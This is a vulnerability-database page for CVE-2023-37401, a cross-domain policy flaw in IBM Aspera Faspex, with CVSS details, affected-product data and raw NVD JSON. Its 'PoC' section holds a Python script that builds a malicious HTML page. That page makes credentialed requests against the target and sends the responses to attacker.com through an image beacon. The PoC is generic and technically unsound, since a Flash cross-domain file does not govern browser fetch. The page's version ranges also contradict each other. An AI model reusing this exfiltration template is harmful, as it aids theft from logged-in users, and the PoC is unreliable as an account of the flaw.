Security Vulnerability Report
中文
CVE-2023-37401 CVSS 5.3 MEDIUM

CVE-2023-37401

Published: 2025-10-09 14:15:54
Last Modified: 2025-10-14 20:18:35

Description

IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM Aspera Faspex >= 5.0.0, < 5.0.13.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-37401 PoC - IBM Aspera Faspex Cross-Domain Policy Misconfiguration # This PoC demonstrates how an attacker can exploit the misconfigured crossdomain.xml import requests # Step 1: Retrieve the cross-domain policy file from the target Faspex server target_url = "https://target-faspex-server.com" crossdomain_url = f"{target_url}/crossdomain.xml" response = requests.get(crossdomain_url) if response.status_code == 200: print("Cross-Domain Policy File Content:") print(response.text) # Check if the policy file contains overly permissive or untrusted domains if "*" in response.text or any(untrusted in response.text for untrusted in ["evil.com", "attacker.com"]): print("[!] Vulnerability Detected: Cross-domain policy contains untrusted domains") else: print(f"[-] Could not retrieve cross-domain policy file. Status code: {response.status_code}") # Step 2: Exploit via malicious HTML page that leverages the cross-domain policy malicious_html = """ <!DOCTYPE html> <html> <head><title>Malicious Page</title></head> <body> <script> // Exploit the misconfigured cross-domain policy to perform cross-origin requests // against the target IBM Aspera Faspex server using the victim's session fetch('https://target-faspex-server.com/api/v1/some_endpoint', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({action: 'malicious_action'}) }).then(response => { // Send stolen data to attacker-controlled server return response.text(); }).then(data => { // Exfiltrate data to attacker's server new Image().src = 'https://attacker.com/exfil?data=' + btoa(data); }); </script> </body> </html> """ # Step 3: Save the malicious HTML to a file with open("malicious_page.html", "w") as f: f.write(malicious_html) print("[*] Malicious HTML page saved as malicious_page.html") print("[*] Host this page on an untrusted domain listed in the cross-domain policy") print("[*] When a victim visits this page while logged into Faspex, the exploit triggers")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-37401", "sourceIdentifier": "[email protected]", "published": "2025-10-09T14:15:53.703", "lastModified": "2025-10-14T20:18:35.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:aspera_faspex:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.14", "matchCriteriaId": "95A6A47B-FEAB-4581-9EA7-487A3260AF42"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247502", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}